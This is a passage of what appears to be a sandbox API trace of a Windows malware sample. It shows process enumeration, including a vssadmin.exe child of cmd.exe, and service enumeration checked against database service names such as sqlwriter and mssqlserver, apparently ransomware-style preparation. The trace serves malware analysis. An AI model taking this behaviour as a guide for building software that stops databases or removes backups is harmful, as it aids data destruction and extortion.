	[0040.867] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0040.867] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0040.867] lstrlenW (lpString="always.exe") returned 10
	[0040.867] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0040.868] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0040.868] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0040.869] lstrlenW (lpString="donated.exe") returned 11
	[0040.869] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0040.870] lstrlenW (lpString="nowherepike.exe") returned 15
	[0040.870] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0041.175] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0041.175] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0041.176] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0041.176] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0041.177] lstrlenW (lpString="allowance.exe") returned 13
	[0041.177] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0041.177] lstrlenW (lpString="conducting affect.exe") returned 21
	[0041.177] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0041.178] lstrlenW (lpString="plaintiff.exe") returned 13
	[0041.178] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0041.179] lstrlenW (lpString="dialog.exe") returned 10
	[0041.179] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0041.180] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0041.180] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0041.180] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0041.180] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0041.181] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0041.181] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0041.182] lstrlenW (lpString="dllhost.exe") returned 11
	[0041.182] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0041.183] lstrlenW (lpString="dllhost.exe") returned 11
	[0041.183] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0041.183] lstrlenW (lpString="swpesp.exe") returned 10
	[0041.183] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0041.184] lstrlenW (lpString="cmd.exe") returned 7
	[0041.184] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0041.185] lstrlenW (lpString="conhost.exe") returned 11
	[0041.185] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0041.185] lstrlenW (lpString="vssadmin.exe") returned 12
	[0041.185] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0041.186] lstrlenW (lpString="VSSVC.exe") returned 9
	[0041.186] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0041.187] CloseHandle (hObject=0x178) returned 1
	[0041.187] Sleep (dwMilliseconds=0x1f4) 
	[0042.009] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d04f8
	[0042.010] EnumServicesStatusExW (in: hSCManager=0x35d04f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0042.010] GetLastError () returned 0xea
	[0042.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x123e) returned 0x36a1308
	[0042.011] EnumServicesStatusExW (in: hSCManager=0x35d04f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36a1308, cbBufSize=0x123e, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36a1308, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0042.011] CloseServiceHandle (hSCObject=0x35d04f8) returned 1
	[0042.011] lstrlenW (lpString="Appinfo") returned 7
	[0042.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0042.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0042.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0042.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0042.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0042.012] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0042.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0042.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0042.012] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0042.012] lstrlenW (lpString="AudioSrv") returned 8
	[0042.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0042.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0042.012] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0042.012] lstrlenW (lpString="BFE") returned 3
	[0042.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0042.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0042.012] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0042.012] lstrlenW (lpString="CryptSvc") returned 8
	[0042.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0042.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0042.012] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0042.012] lstrlenW (lpString="CscService") returned 10
	[0042.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0042.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0042.012] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0042.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0042.012] lstrlenW (lpString="DcomLaunch") returned 10
	[0042.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0042.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0042.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0042.013] lstrlenW (lpString="Dhcp") returned 4
	[0042.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0042.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0042.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0042.013] lstrlenW (lpString="Dnscache") returned 8
	[0042.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0042.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0042.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0042.013] lstrlenW (lpString="DPS") returned 3
	[0042.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0042.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0042.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0042.013] lstrlenW (lpString="eventlog") returned 8
	[0042.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0042.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0042.013] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0042.013] lstrlenW (lpString="EventSystem") returned 11
	[0042.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0042.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0042.013] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0042.013] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0042.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0042.014] lstrlenW (lpString="gpsvc") returned 5
	[0042.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0042.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0042.014] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0042.014] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0042.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0042.014] lstrlenW (lpString="iphlpsvc") returned 8
	[0042.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0042.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0042.014] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0042.014] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0042.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0042.014] lstrlenW (lpString="LanmanServer") returned 12
	[0042.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0042.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0042.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0042.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0042.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0042.014] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0042.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0042.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0042.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0042.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0042.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0042.014] lstrlenW (lpString="lmhosts") returned 7
	[0042.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0042.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0042.014] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0042.014] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0042.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0042.015] lstrlenW (lpString="MMCSS") returned 5
	[0042.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0042.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0042.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0042.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0042.015] lstrlenW (lpString="MpsSvc") returned 6
	[0042.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0042.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0042.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0042.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0042.015] lstrlenW (lpString="Netman") returned 6
	[0042.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0042.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0042.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0042.015] lstrlenW (lpString="netprofm") returned 8
	[0042.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0042.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0042.015] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0042.015] lstrlenW (lpString="NlaSvc") returned 6
	[0042.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0042.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0042.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0042.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0042.015] lstrlenW (lpString="nsi") returned 3
	[0042.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0042.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0042.016] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0042.016] lstrlenW (lpString="PcaSvc") returned 6
	[0042.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0042.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0042.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0042.016] lstrlenW (lpString="PlugPlay") returned 8
	[0042.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0042.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0042.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0042.016] lstrlenW (lpString="Power") returned 5
	[0042.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0042.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0042.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0042.016] lstrlenW (lpString="ProfSvc") returned 7
	[0042.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0042.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0042.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0042.016] lstrlenW (lpString="RpcEptMapper") returned 12
	[0042.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0042.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0042.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0042.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0042.017] lstrlenW (lpString="RpcSs") returned 5
	[0042.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0042.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0042.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0042.017] lstrlenW (lpString="SamSs") returned 5
	[0042.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0042.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0042.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0042.017] lstrlenW (lpString="Schedule") returned 8
	[0042.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0042.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0042.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0042.017] lstrlenW (lpString="SENS") returned 4
	[0042.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0042.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0042.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0042.017] lstrlenW (lpString="ShellHWDetection") returned 16
	[0042.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0042.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0042.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0042.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0042.018] lstrlenW (lpString="Spooler") returned 7
	[0042.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0042.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0042.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0042.018] lstrlenW (lpString="SysMain") returned 7
	[0042.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0042.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0042.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0042.018] lstrlenW (lpString="Themes") returned 6
	[0042.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0042.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0042.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0042.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0042.018] lstrlenW (lpString="TrkWks") returned 6
	[0042.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
